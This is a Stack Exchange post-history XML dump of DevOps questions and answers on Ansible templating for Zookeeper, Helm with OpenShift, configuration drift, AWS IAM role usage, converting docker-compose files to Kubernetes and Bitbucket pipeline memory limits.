  <row Id="18771" PostHistoryTypeId="2" PostId="5846" RevisionGUID="4cb5ff80-599e-4cdc-9581-cb56d6c8241d" CreationDate="2018-12-29T14:13:08.767" UserId="11581" Text="I'm trying to configure a Zookeeper Cluster with Ansible. As you might know Zookeeper has two important config files.&#xD;&#xA;&#xD;&#xA;**zookeeper/conf/zoo.cfg**&#xD;&#xA;&#xD;&#xA;I create this file on each cluster member using this jinja2 template:&#xD;&#xA;&#xD;&#xA;    {% for host in groups['zookeeper'] %}&#xD;&#xA;    server.{{ loop.index }}={{ host }}:2888:3888&#xD;&#xA;    {% endfor %}&#xD;&#xA;&#xD;&#xA;The result will look like this:&#xD;&#xA;&#xD;&#xA;    server.1=processing1.srv.mycompany&#xD;&#xA;    server.2=processing2.srv.mycompany&#xD;&#xA;    server.3=indexing1.srv.mycompany&#xD;&#xA;    server.4=indexing2.srv.mycompany&#xD;&#xA;    server.5=quorumandmonitoring.srv.mycompany&#xD;&#xA;&#xD;&#xA;**data/myid**&#xD;&#xA;&#xD;&#xA;Accordind to the [docs][1] this file needs to contain an unique id for each member of the cluster.&#xD;&#xA;To keep everything in sync I would like to have the value after `server.` in the `myid` of each host. This means:&#xD;&#xA;&#xD;&#xA; - myid=1 on processing1&#xD;&#xA; - myid=2 on processing2&#xD;&#xA; - myid=3 on indexing1&#xD;&#xA; - myid=4 on indexing2&#xD;&#xA; - myid=5 on quorumandmonitoring&#xD;&#xA;&#xD;&#xA;And this is where my problem starts: how can I do this in a clever way ? An ideal solution would be to use something like the `for host in groups` loop. I would rather not add `host_vars` to my inventory.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://zookeeper.apache.org/doc/r3.3.3/zookeeperAdmin.html#sc_zkMulitServerSetup" ContentLicense="CC BY-SA 4.0" />
  <row Id="18772" PostHistoryTypeId="1" PostId="5846" RevisionGUID="4cb5ff80-599e-4cdc-9581-cb56d6c8241d" CreationDate="2018-12-29T14:13:08.767" UserId="11581" Text="Configuring Zookeeper from Ansible" ContentLicense="CC BY-SA 4.0" />
  <row Id="18773" PostHistoryTypeId="3" PostId="5846" RevisionGUID="4cb5ff80-599e-4cdc-9581-cb56d6c8241d" CreationDate="2018-12-29T14:13:08.767" UserId="11581" Text="&lt;ansible&gt;&lt;jinja&gt;&lt;templating&gt;&lt;zookeeper&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18780" PostHistoryTypeId="5" PostId="5296" RevisionGUID="8d4c001d-c032-4303-a917-f9a141606eb2" CreationDate="2018-12-30T09:06:39.037" UserId="10599" Comment="added 1304 characters in body" Text="In my experience Openshift is open in terms of supporting good Kubernetes tools that the community comes up with. You can adopt the Kubernetes tooling that fits your needs. We use Helm to manage the configuration objects (aka yaml) of our applications running in our Openshift cluster. Helm can manages both genetic kubernetes objects as well as openshift specific extensions. Helm is introduced [in the official openshift blogs][1]. **Update**: we are rewriting our configuration management using the mighty [helmfile][2] which makes it easier to manage multiple helm releases. &#xA;&#xA;[This answer][3] gives an overview of how we store all the Helm (or Helmfile) configuration in git and push what is in git out to openshift to give us “infrastructure as code”. &#xA;&#xA;Also you might be missing an important feature of `oc` which is [templates][4]. Yet Helm is newer and has a better template framework built into it. When we used the `oc` template system but I had to write my own wrapper logic to deal with conditional logic to add or remove optional features from our application templates. All that custom logic got removed when we upgraded to Helm. Helm  also has a rollback to previous release feature. &#xA;&#xA;I believe that the openshift team started adding things like oc templates to fill a gap in the ecosystem at one time. That gap is now filled by Helm which is evolving faster (e.g., Helmfile that also suppers Kustomize). The Kubernetes Operator framework is another example of something from upstream Kubernetes that [Openshift now supports][5]. IMHO this isn’t a surprise to RedHat and Openshift they are not competing with any other opensource project they are selling supper for an opensource ecosystem and the strong it is the better it is for them. &#xA;&#xA;The majority of our config can be yaml templated with helm charts. The only thing that seems hard to template are `ImageStreamTag` objects as they contain a lot of specific information such as the sha256 of each image layer. Since the tags we want to run change all the time it as our software changes it feels natural to define the &quot;shapes&quot; of our environments using yaml managed by Helmfile yet run `oc` to pull a particular image stream tag into a project (aka namespace).&#xA;&#xA;&#xA;  [1]: https://blog.openshift.com/getting-started-helm-openshift/&#xA;  [2]: https://github.com/roboll/helmfile&#xA;  [3]: https://devops.stackexchange.com/questions/4662/what-is-the-recommended-way-to-monitor-differences-between-multiple-kubernetes-n/5295#5295&#xA;  [4]: https://docs.openshift.com/online/dev_guide/templates.html&#xA;  [5]: https://blog.openshift.com/introducing-the-operator-framework/" ContentLicense="CC BY-SA 4.0" />
  <row Id="18781" PostHistoryTypeId="5" PostId="5295" RevisionGUID="8107cc5e-520a-4af9-b67a-0ece4dfc7fa7" CreationDate="2018-12-30T09:09:07.210" UserId="10599" Comment="Deleted comment about deps management as helm dependencies are static not dynamic " Text="**Edit**: The deploy script that is described in this answer is very much  looks like [Helmfile](https://github.com/roboll/helmfile)  and we are now in the process of upgrading to Helmfile so that we can retire our scripts that run multiple Helm releases as that’s that Helmfile does well. &#xA;&#xA;This is a bit of an alternative and indirect  answer. Use infrastructure-as-code best practices to avoid environments getting out of sync. I believe people will find it a helpful alternative suggestion so a valid answer.&#xA;&#xA;Prevention is better than cure. Don't let the namespaces get out of sync by treating your configuration as code and manage it via git. [Helm][1] is a package manager for Kubernetes configuration. It can handle arbitrary configuration objects such as Openshift extensions. This let's you setup a deployment pipeline and a git workflow that ensures your environments stay in sync. (Update: use Helmfile to manage multiple Helm releases). &#xA;&#xA;By way of an example in our setup we have a Helm chart that just installs configmaps and another that just installs secrets. The actual values to install are passed in as a parameter like `my-app-secret-values.yaml`. So we have different yaml values all under git and a deploy script that iterates over them applying the helm chart that loads the values and updates the corresponding configmap or secret. Helm reads, compares, and only writes when something has changed. So the deploy script will result in only changing a secret or config map that has changed in git. All the configuration is under git and managed like code. Syncing configuration between environments can then be managed just like promotion of code. As a bonus helm creates a backup every version of every object it changes stored inside of Kubernetes. If let's you list the prior versions and rollback to a previous configuration. Also as everything is deployed from git all the history of all settings in all namespaces can be seen in git. &#xA;&#xA;We also install and run out main applications as traditional Helm charts that are promoted through environments. Those helm charts reference the configmaps and secrets that are separately deployed when we want to adjust the settings in a given environment.&#xA;&#xA;  [1]: https://helm.sh" ContentLicense="CC BY-SA 4.0" />
  <row Id="18782" PostHistoryTypeId="2" PostId="5847" RevisionGUID="14a0c51e-b764-4ed9-a1c1-22cb0b68db46" CreationDate="2018-12-30T14:39:25.267" UserId="11591" Text="I'm researching a bunch of configuration management tools, like, Salt, Chef, Puppet,  Ansible, etc. and am trying to understand how they deal with someone manually changing a config file on the server directly:&#xD;&#xA;&#xD;&#xA; 1. A config file that is being directly managed by the CM tool, eg. the nginx/apache/Postgres config file&#xD;&#xA; 2. A config file that the system _implicitly_ depends on, but is not being directly managed by the CM tool (i.e. it uses whatever defaults the underlying OS provides), eg. the `rsyslog` config file.&#xD;&#xA;&#xD;&#xA;Do these tools snapshot / checksum all files in `/etc` (and similar) folders and alert the sysadmin whenever something has been changed behind their backs?&#xD;&#xA;&#xD;&#xA;PS: My mental model right now is that of immutable config files &amp; infra, like `nix`&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18783" PostHistoryTypeId="1" PostId="5847" RevisionGUID="14a0c51e-b764-4ed9-a1c1-22cb0b68db46" CreationDate="2018-12-30T14:39:25.267" UserId="11591" Text="How do configuration management tools deal with someone messing up configuration files manually?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18784" PostHistoryTypeId="3" PostId="5847" RevisionGUID="14a0c51e-b764-4ed9-a1c1-22cb0b68db46" CreationDate="2018-12-30T14:39:25.267" UserId="11591" Text="&lt;configuration-management&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18785" PostHistoryTypeId="2" PostId="5848" RevisionGUID="25a3af89-49f9-4d2b-9446-4ef2f3b88f6c" CreationDate="2018-12-30T16:24:31.303" UserId="9308" Text="In AWS in the GUI you can select a role and then click on delete, then when you are prompted to approve or deny the deletion it shows you when the role was last used.&#xD;&#xA;&#xD;&#xA;I would like to be able to know when a role was last used without pretend deleting it via the GUI.Ideally if I could get that data from the AWS CLI or a Boto3 script that would be great. Is there a way to accomplish that?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18786" PostHistoryTypeId="1" PostId="5848" RevisionGUID="25a3af89-49f9-4d2b-9446-4ef2f3b88f6c" CreationDate="2018-12-30T16:24:31.303" UserId="9308" Text="How to see when an AWS IAM role was last used?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18787" PostHistoryTypeId="3" PostId="5848" RevisionGUID="25a3af89-49f9-4d2b-9446-4ef2f3b88f6c" CreationDate="2018-12-30T16:24:31.303" UserId="9308" Text="&lt;amazon-web-services&gt;&lt;aws-cli&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18788" PostHistoryTypeId="2" PostId="5849" RevisionGUID="fe78811e-3c97-4643-90af-2f1bebe60c25" CreationDate="2018-12-30T21:32:50.480" UserId="8251" Text="Amazon Cloudtrail tracks all API use&#xA;&#xA;I imagine it would be best to stream the logs to Cloudwatch. &#xA;You will want to filter by the AssumeRole call" ContentLicense="CC BY-SA 4.0" />
  <row Id="18789" PostHistoryTypeId="2" PostId="5850" RevisionGUID="787278a9-e3f4-4b03-9ec4-5f8c69bd6596" CreationDate="2018-12-30T21:43:31.847" UserId="8251" Text="For Ansible, it does not manage this for you and you have the following options.&#xA;&#xA;Config files that you depend on, but where default are fine you will have to add to your configuration.&#xA;&#xA;Files whose presence interferes you will have to ad a rule: state=absent&#xA;For example I use Ansible to configure a Lamp server and need to manage a list of deleted sites.&#xA;&#xA;For where you are changing lines in files, you may also need to add lines to remove " ContentLicense="CC BY-SA 4.0" />
  <row Id="18792" PostHistoryTypeId="2" PostId="5851" RevisionGUID="6bff5f76-73bd-4f74-a37c-cc15472342be" CreationDate="2018-12-31T03:18:33.603" UserId="2845" Text="If the file is marked as being managed by a configuration management tool, it deals with someone messing up a configuration file manually being messed up by a hapless admin by clobbering the configuration file using something like [Jinja](https://en.wikipedia.org/wiki/Jinja_(template_engine)) or [ERB templates](https://puppet.com/docs/puppet/5.3/lang_template_erb.html)&#xD;&#xA;&#xD;&#xA;While this can often feel frustrating to an old-school UNIX admin when their change is clobbered in minutes or hours by a configuration management tool, (and I have seen some use things like [extended file attributes to hack around this](https://wiki.archlinux.org/index.php/File_permissions_and_attributes#Extended_attributes)) it is far superior in that it 1) enforces a [cattle-not-pets](https://devops.stackexchange.com/questions/653/what-is-the-definition-of-cattle-not-pets) mentality and 2) self-documents a deployment - a factor which is vastly undervalued considering that 5-10 years later when an upgrade of a system is needed, hundreds of config files may need to be scoured such as a host file, limits files, logrotate files, syslog files, systemctl defaults files, firewalld/iptables config files, selinux files, cron files, and much, much more may need to be considered using the &quot;pets&quot; deployment philosophy.&#xD;&#xA;&#xD;&#xA;9 times out of 10 this comes from a lazyness/unwillingness to learn a newfangled configuration management technology. That being said, I highly recommend that if you are going to manage a config file using a configuration management tool, you use Salt, Chef, Puppet, Ansible, etc to flag the fact that you have taken over management of said config file so that the admin is not completely blindsided whenever possible and as often as possible." ContentLicense="CC BY-SA 4.0" />
  <row Id="18793" PostHistoryTypeId="5" PostId="5851" RevisionGUID="ce905605-2ac6-46aa-8bd7-a340abce294d" CreationDate="2018-12-31T03:25:25.333" UserId="2845" Comment="added 414 characters in body" Text="If the file is marked as being managed by a configuration management tool, it deals with someone messing up a configuration file manually being messed up by a hapless admin by clobbering the configuration file using something like [Jinja](https://en.wikipedia.org/wiki/Jinja_(template_engine)) or [ERB templates](https://puppet.com/docs/puppet/5.3/lang_template_erb.html)&#xD;&#xA;&#xD;&#xA;While this can often feel frustrating to an old-school UNIX admin when their change is clobbered in minutes or hours by a configuration management tool, (and I have seen some use things like [extended file attributes to hack around this](https://wiki.archlinux.org/index.php/File_permissions_and_attributes#Extended_attributes)) it is far superior in that it 1) enforces a [cattle-not-pets](https://devops.stackexchange.com/questions/653/what-is-the-definition-of-cattle-not-pets) mentality and 2) self-documents a deployment - a factor which is vastly undervalued considering that 5-10 years later when an upgrade of a system is needed, hundreds of config files may need to be scoured such as a host file, limits files, logrotate files, syslog files, systemctl defaults files, firewalld/iptables config files, selinux files, cron files, and much, much more may need to be considered using the &quot;pets&quot; deployment philosophy.&#xD;&#xA;&#xD;&#xA;9 times out of 10 this comes from a lazyness/unwillingness to learn a newfangled configuration management technology. That being said, I highly recommend that if you are going to manage a config file using a configuration management tool, you use Salt, Chef, Puppet, Ansible, etc to flag the fact that you have taken over management of said config file so that the admin is not completely blindsided whenever possible and as often as possible.&#xD;&#xA;&#xD;&#xA;You can also support additive configuration - EG, I have used salt to manage rsyslog.conf and *some* files in /etc/rsyslog.d/ but not all files. This allows for a baseline set of defaults, while still supporting some customization without (barf) using a configuration management tool - thus allowing you to [&quot;have your cake and eat it too&quot;](https://en.wikipedia.org/wiki/You_can%27t_have_your_cake_and_eat_it)." ContentLicense="CC BY-SA 4.0" />
  <row Id="18794" PostHistoryTypeId="2" PostId="5852" RevisionGUID="b7257698-26a2-428d-8cca-b0e676e715a0" CreationDate="2018-12-31T03:40:13.367" UserId="2845" Text="&gt;The things that would be backed up would be the config files of the servers, the database and uploaded content as these will almost always be unique and necessary. The containers, VMs, even the webapps would NOT be backed up as these should all be uniform and constantly updated under the CI/CD principles. Currently I use a combination of scp and tar into an archive directory sorted by date and machine. I like to find something better if possible.&#xD;&#xA;&#xD;&#xA;Config files, containers and VMs *should* be backed up and versioned by a tool like git or SVN if you are doing [configuration management properly.](https://devops.stackexchange.com/questions/5847/how-do-configuration-management-tools-deal-with-someone-messing-up-configuration). Backing up config files and versioning them is the whole point of *configuration* management tools like, salt, puppet, ansible, and chef.&#xD;&#xA;&#xD;&#xA;As you duly note however, dynamic content such as database data and similarly dynamic data is a more challenging issue. These however, are outside of the scope of *configuration* management, CI, and CD principles. These principles purposefully remain silent on dealing with these issues: because they have no new answers for these problems. Instead, [you should use the many battle-tested techniques and strategies for dealing with this kind of data](https://devops.stackexchange.com/questions/742/what-practices-or-tools-enable-continuous-deployment-of-databases/1220#1220) instead of expecting CI/CD/CM tools to solve problems that they were never intended to address. " ContentLicense="CC BY-SA 4.0" />
  <row Id="18795" PostHistoryTypeId="2" PostId="5853" RevisionGUID="d2d0a56a-cf3f-4aa9-95ed-b5d832d7504d" CreationDate="2018-12-31T04:52:57.800" UserId="11527" Text="With serverless computing using AWS lambda, Amazon(AWS) is taking the ownership of architecture, administration &amp; Deployment aspect of AWS services(VPC/EC2/ELB/AScaling/Rtables/SGroups/etc...) for the application to run. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;With this approach, AWS user losing control on designing an optimal VPC architecture that fine tunes with application&#xD;&#xA;&#xD;&#xA;So, when not to think about serverless computing?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18796" PostHistoryTypeId="1" PostId="5853" RevisionGUID="d2d0a56a-cf3f-4aa9-95ed-b5d832d7504d" CreationDate="2018-12-31T04:52:57.800" UserId="11527" Text="Serverless computing - AWS lambda" ContentLicense="CC BY-SA 4.0" />
  <row Id="18797" PostHistoryTypeId="3" PostId="5853" RevisionGUID="d2d0a56a-cf3f-4aa9-95ed-b5d832d7504d" CreationDate="2018-12-31T04:52:57.800" UserId="11527" Text="&lt;amazon-web-services&gt;&lt;aws-lambda&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18798" PostHistoryTypeId="50" PostId="4508" RevisionGUID="f18302f6-ec4a-4e8d-809d-2bc6d0fa0ae3" CreationDate="2018-12-31T10:02:05.430" UserId="-1" />
  <row Id="18802" PostHistoryTypeId="2" PostId="5855" RevisionGUID="91ae4f55-5626-4ee4-b7b6-123721bbc4b2" CreationDate="2018-12-31T12:15:25.713" UserId="11598" Text="There currently is no method using SDKs for the AWS CLI to get the last accessed time of an IAM role.&#xD;&#xA;&#xD;&#xA;Currently, the only way is to use the AWS Management Console.&#xD;&#xA;&#xD;&#xA; 1. Select your **IAM role** and explore it&#xD;&#xA; 2. Click the &quot;**Access Advisor**&quot; tab. &#xD;&#xA; 3. The contents of this tab will display the last access time for each of the various services.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/Qpy7F.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="18803" PostHistoryTypeId="2" PostId="5856" RevisionGUID="ac3f85fc-c2a8-437b-a6d1-1516440cecd1" CreationDate="2018-12-31T12:35:54.433" UserId="11220" Text="Is there any easy way to convert a dockercompose.yml file to Kubernetes files( file )" ContentLicense="CC BY-SA 4.0" />
  <row Id="18804" PostHistoryTypeId="1" PostId="5856" RevisionGUID="ac3f85fc-c2a8-437b-a6d1-1516440cecd1" CreationDate="2018-12-31T12:35:54.433" UserId="11220" Text="How to convert a docker-compse to kubernetes?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18805" PostHistoryTypeId="3" PostId="5856" RevisionGUID="ac3f85fc-c2a8-437b-a6d1-1516440cecd1" CreationDate="2018-12-31T12:35:54.433" UserId="11220" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18807" PostHistoryTypeId="2" PostId="5857" RevisionGUID="cda9116c-65c1-49c0-9cad-7148a603bbd8" CreationDate="2018-12-31T14:34:39.280" UserId="7730" Text="The original and most popular solution I've seen is [kompose](https://github.com/kubernetes/kompose) which does exactly as you are asking, converts the compose yaml file into kubernetes yaml files.&#xD;&#xA;&#xD;&#xA;If you want to continue working with a compose.yml file for compatibility with other systems, then docker recently open sourced their [compose on kubernetes](https://github.com/docker/compose-on-kubernetes) solution that integrates directly into kubernetes." ContentLicense="CC BY-SA 4.0" />
  <row Id="18808" PostHistoryTypeId="4" PostId="5853" RevisionGUID="f3c8a010-fd6f-4d5d-9e61-4eec1c7d477b" CreationDate="2018-12-31T15:53:48.587" UserId="11527" Comment="edited title" Text="when not to use Serverless computing - AWS lambda" ContentLicense="CC BY-SA 4.0" />
  <row Id="18809" PostHistoryTypeId="6" PostId="5853" RevisionGUID="eab7352b-40c1-4db5-af93-9c3421b81f28" CreationDate="2018-12-31T16:44:11.807" UserId="11527" Comment="edited tags" Text="&lt;amazon-web-services&gt;&lt;cloud&gt;&lt;aws-lambda&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18810" PostHistoryTypeId="5" PostId="5853" RevisionGUID="eab7352b-40c1-4db5-af93-9c3421b81f28" CreationDate="2018-12-31T16:44:11.807" UserId="11527" Comment="edited tags" Text="With serverless computing using AWS lambda, Amazon(AWS) is taking the ownership of architecture, administration &amp; deployment aspect of AWS services(VPC/EC2/ELB/AScaling/Rtables/SGroups/etc...) for the application to run. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;With this approach, AWS user losing control on designing an optimal VPC architecture that fine tunes with application&#xD;&#xA;&#xD;&#xA;So, when not to think about serverless computing?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18814" PostHistoryTypeId="5" PostId="5856" RevisionGUID="26250c08-3704-4603-80c5-3b546825d24d" CreationDate="2018-12-31T18:14:42.350" UserId="460" Comment="fixed typo" Text="Is there any easy way to convert a docker-compose.yml file to Kubernetes file(s)?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18815" PostHistoryTypeId="4" PostId="5856" RevisionGUID="26250c08-3704-4603-80c5-3b546825d24d" CreationDate="2018-12-31T18:14:42.350" UserId="460" Comment="fixed typo" Text="How to convert a docker-compose file to kubernetes file(s)?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18816" PostHistoryTypeId="24" PostId="5856" RevisionGUID="26250c08-3704-4603-80c5-3b546825d24d" CreationDate="2018-12-31T18:14:42.350" Comment="Proposed by 460 approved by 40, 11220 edit id of 901" ContentLicense="CC BY-SA 4.0" />
  <row Id="18817" PostHistoryTypeId="2" PostId="5859" RevisionGUID="7c18e60c-aed9-4bca-81d7-484f92d51d64" CreationDate="2018-12-31T19:26:38.363" UserId="11598" Text="Attach below policy to that user:&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;        &quot;Version&quot;: &quot;2012-10-17&quot;,&#xD;&#xA;        &quot;Statement&quot;: [&#xD;&#xA;            {&#xD;&#xA;                &quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;                &quot;Action&quot;: [&#xD;&#xA;                            &quot;s3:GetBucketLocation&quot;,&#xD;&#xA;                            &quot;s3:ListAllMyBuckets&quot;&#xD;&#xA;                          ],&#xD;&#xA;                &quot;Resource&quot;: &quot;arn:aws:s3:::*&quot;&#xD;&#xA;            },&#xD;&#xA;            {&#xD;&#xA;                &quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;                &quot;Action&quot;: &quot;s3:*&quot;,&#xD;&#xA;                &quot;Resource&quot;: [&#xD;&#xA;                    &quot;arn:aws:s3:::YOUR-BUCKET&quot;,&#xD;&#xA;                    &quot;arn:aws:s3:::YOUR-BUCKET/*&quot;&#xD;&#xA;                ]&#xD;&#xA;            }&#xD;&#xA;        ]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;https://www.serverkaka.com/2018/05/grant-access-to-only-one-s3-bucket-to-aws-user.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="18819" PostHistoryTypeId="5" PostId="5849" RevisionGUID="d7e5bb4c-3b6e-422f-a799-dd34833e54f5" CreationDate="2018-12-31T21:41:07.187" UserId="8251" Comment="added 162 characters in body" Text="Amazon CloudTrail tracks all API use&#xD;&#xA;&#xD;&#xA;You can configure each trail to send log events to CloudWatch and at that end count usage of keyword terms such as your AssumeRole call and the role name: https://docs.aws.amazon.com/awscloudtrail/latest/userguide/monitor-cloudtrail-log-files-with-cloudwatch-logs.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="18820" PostHistoryTypeId="5" PostId="5849" RevisionGUID="c0c34688-193f-40bb-9240-af8feccc599d" CreationDate="2018-12-31T21:48:03.810" UserId="8251" Comment="added 175 characters in body" Text="Amazon CloudTrail tracks all API use&#xD;&#xA;&#xD;&#xA;You can configure each trail to send log events to CloudWatch and at that end count usage of keyword terms such as your AssumeRole call and the role name: https://docs.aws.amazon.com/awscloudtrail/latest/userguide/monitor-cloudtrail-log-files-with-cloudwatch-logs.html&#xD;&#xA;&#xD;&#xA;There is also documentation on searching Cloudwatch logs with filters through the api https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/SearchDataFilterPattern.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="18822" PostHistoryTypeId="5" PostId="5547" RevisionGUID="0fe2f3b4-b5e1-4307-a471-2d56f74a78d0" CreationDate="2019-01-01T02:40:31.270" UserId="10599" Comment="addresses the comment that it isn't clear how the answer addresses the question. " Text="You can use sonarqube. It does not generate its own test coverage report, but re-uses the coverage file of your existing pipelines.&#xD;&#xA; " ContentLicense="CC BY-SA 4.0" />
  <row Id="18823" PostHistoryTypeId="24" PostId="5547" RevisionGUID="0fe2f3b4-b5e1-4307-a471-2d56f74a78d0" CreationDate="2019-01-01T02:40:31.270" Comment="Proposed by 10599 approved by 40, 739 edit id of 900" ContentLicense="CC BY-SA 4.0" />
  <row Id="18825" PostHistoryTypeId="5" PostId="5849" RevisionGUID="2552d08b-5f70-4c2d-8427-f8f9268ab217" CreationDate="2019-01-01T06:48:29.737" UserId="8251" Comment="added 472 characters in body" Text="Amazon CloudTrail tracks all API use&#xD;&#xA;&#xD;&#xA;In CloudTrail create a new trail&#xD;&#xA;&#xD;&#xA;[![CloudTrail Create New Trail][1]][1]&#xD;&#xA;&#xD;&#xA;You can configure each trail to send log events to CloudWatch: Edit the trail and choose to send Logs to CloudWatch. It will offer you to create a Role for this&#xD;&#xA;&#xD;&#xA;[![Send CloudTrail logs to Cloudwatch][2]][2]&#xD;&#xA;&#xD;&#xA;https://docs.aws.amazon.com/awscloudtrail/latest/userguide/monitor-cloudtrail-log-files-with-cloudwatch-logs.html&#xD;&#xA;&#xD;&#xA;Then, run some calls on your role and wait 5 minutes.&#xD;&#xA;&#xD;&#xA;In Cloudwatch, go to your log trail and search for &quot;AssumedRole&quot;. Your events will be shown here&#xD;&#xA;&#xD;&#xA;[![enter image description here][3]][3]&#xD;&#xA;&#xD;&#xA;There is also documentation on searching Cloudwatch logs with filters through the api https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/SearchDataFilterPattern.html&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/EEJf2.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/NwGQe.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/h4jE8.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="18827" PostHistoryTypeId="50" PostId="4058" RevisionGUID="e03cea63-1e3c-4448-9a9e-7cc1fd8f7a29" CreationDate="2019-01-01T10:02:15.397" UserId="-1" />
  <row Id="18830" PostHistoryTypeId="5" PostId="5846" RevisionGUID="4a8680b9-659a-4138-86d7-f3586bc10739" CreationDate="2019-01-01T17:11:15.680" UserId="739" Comment="formatting variables and hostnames as code; tiny copy edit" Text="I'm trying to configure a Zookeeper Cluster with Ansible. As you might know Zookeeper has two important config files.&#xD;&#xA;&#xD;&#xA;**zookeeper/conf/zoo.cfg**&#xD;&#xA;&#xD;&#xA;I create this file on each cluster member using this jinja2 template:&#xD;&#xA;&#xD;&#xA;    {% for host in groups['zookeeper'] %}&#xD;&#xA;    server.{{ loop.index }}={{ host }}:2888:3888&#xD;&#xA;    {% endfor %}&#xD;&#xA;&#xD;&#xA;The result will look like this:&#xD;&#xA;&#xD;&#xA;    server.1=processing1.srv.mycompany&#xD;&#xA;    server.2=processing2.srv.mycompany&#xD;&#xA;    server.3=indexing1.srv.mycompany&#xD;&#xA;    server.4=indexing2.srv.mycompany&#xD;&#xA;    server.5=quorumandmonitoring.srv.mycompany&#xD;&#xA;&#xD;&#xA;**data/myid**&#xD;&#xA;&#xD;&#xA;Accordind to the [docs][1] this file needs to contain an unique id for each member of the cluster.&#xD;&#xA;To keep everything in sync I would like to have the value after `server.` in the `myid` of each host. This means:&#xD;&#xA;&#xD;&#xA; - `myid=1` on `processing1`&#xD;&#xA; - `myid=2` on `processing2`&#xD;&#xA; - `myid=3` on `indexing1`&#xD;&#xA; - `myid=4` on `indexing2`&#xD;&#xA; - `myid=5` on `quorumandmonitoring`&#xD;&#xA;&#xD;&#xA;And this is where my problem starts: how can I do this in a clever way? An ideal solution would be to use something like the `for host in groups` loop. I would rather not add `host_vars` to my inventory.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://zookeeper.apache.org/doc/r3.3.3/zookeeperAdmin.html#sc_zkMulitServerSetup" ContentLicense="CC BY-SA 4.0" />
  <row Id="18831" PostHistoryTypeId="2" PostId="5861" RevisionGUID="93675c6d-fe06-4505-a224-f61e9b422cd0" CreationDate="2019-01-01T17:34:23.677" UserId="519" Text="I suspect that [Bitbucket pipelines](https://confluence.atlassian.com/bitbucket/build-test-and-deploy-with-pipelines-792496469.html) is enforcing this memory limit, not docker-compose.  This is nothing to do with the Linux kernel's OOM killer.&#xD;&#xA;&#xD;&#xA;The page you linked is about memory limits in additional containers (e.g. for a database) used by the pipeline, not the pipeline itself.  &#xD;&#xA;&#xD;&#xA;Some suggestions:&#xD;&#xA;&#xD;&#xA;- Try editing `bitbucket-pipelines.yml` to include a `size` option for memory size - I would expect this is more useful than editing Docker-compose options which may not be respected.  See [this doc page](https://confluence.atlassian.com/bitbucket/configure-bitbucket-pipelines-yml-792298910.html).&#xD;&#xA;&#xD;&#xA;- Try running the build locally under Docker Compose to get an idea of memory usage.&#xD;&#xA;&#xD;&#xA;It would help to include the details of your `bitbucket-pipelines.yml`, and the Bitbucket error message about being out of memory.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18832" PostHistoryTypeId="2" PostId="5862" RevisionGUID="559c2de1-44d0-4552-8e33-65680c30158d" CreationDate="2019-01-01T19:52:17.997" UserId="11581" Text="In lack of a better idea I chose this rather long approach:&#xD;&#xA;&#xD;&#xA;**myid.j2**&#xD;&#xA;&#xD;&#xA;    {% for host in groups['zookeeper'] %}&#xD;&#xA;    {% if host == inventory_hostname %}&#xD;&#xA;    {{ loop.index }}&#xD;&#xA;    {% endif %}&#xD;&#xA;    {% endfor %}&#xD;&#xA;&#xD;&#xA;The idea is to iterate over all hosts and check if the current host being processed matches the host in the list of hosts. If it matches I write the iteration counter to the file.&#xD;&#xA; &#xD;&#xA;When I ssh into the boxes I can see their myid files were created according to my need:&#xD;&#xA;&#xD;&#xA;    [root@quorumandmonitoring data]# cat myid&#xD;&#xA;    5&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18833" PostHistoryTypeId="50" PostId="4968" RevisionGUID="7891cd92-2f5a-4fc3-9160-4d683458635b" CreationDate="2019-01-02T00:01:35.523" UserId="-1" />
